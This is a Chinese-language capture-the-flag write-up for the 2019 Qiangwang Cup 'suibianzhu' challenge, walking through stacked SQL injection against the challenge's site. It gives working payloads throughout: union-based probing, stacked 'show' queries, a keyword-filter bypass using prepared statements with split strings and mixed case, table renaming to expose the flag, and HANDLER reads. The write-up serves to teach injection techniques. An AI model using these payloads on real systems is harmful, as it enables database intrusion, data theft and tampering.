首页 > 技术文章 > 强网杯 2019 随便注

murkuo 2021-06-10 01:48 原文

强网杯 2019 随便注

考点:堆叠注入 绕过”select|update|delete|drop|insert|where“

1.先常规方法注入

判断注入类型 :1' and 1=1正常;1' and 1=2报错-->int
查字段http://www.bmzclub.cn:22155/?inject=1' order by 3 --+
爆数据库http://www.bmzclub.cn:22155/?inject=1' union select 1,database(),3 --
结果.png

2.绕过

堆叠注入绕过

1' ; show databases;

2s2L5V.png

?inject=1';show tables;--+

2sR8G8.png

1';show columns from `flagg`; --+    #注意反引号

2sfsu4.png

堆叠注入特点,不用加()

绕过屏蔽的关键字

方法1 绕过select

预编译方式绕过
2cHas1.png

预处理流程:

SET;									# 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt;	# 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name;			 			# 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name;	# 用来释放掉预处理的语句

payload:

-1';set @sql=CONCAT('se','lect * from `flagg`;');prepare stmt from @sql;execute stmt;

回显:
2cqVjs.png

使用strstr过滤了set和prepare,但是strstr对大小写不敏感,可通过大写绕过

更改payload为

-1';sEt @sql=CONCAT('se','lect * from `flagg`;');prEpAre stmt from @sql;execute stmt;

成功得出flag

方法2 修改表名

原题目查询的数据表为words。既然没过滤alert和 rename,那就可以把表和列改名。先把 words 改为其他,再把flagg改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了

-1';rename table `words` to `test`;rename table `flagg` to `words`;alter table `words` change `flag` `id` varchar(100);
show columns from words;--+
# ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型);

之后访问

1' or 1='1

得出flag

handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

HANDLER tbl_name OPEN [ [AS] alias]
# 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
# 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE
# 关闭打开的句柄。

payload:

1';handler `flagg` open;handler `flagg` read first;-- +

NOTE:

原题目因为使用multi_query()执行一条或多条sql语句,然后将结果全部输出,才会出现这种漏洞。

MySQL中反引号和单引号的区别与用法

  1. MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名
  2. 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
    例如:
copyselect * from `username` where `name`="peri0d"

推荐阅读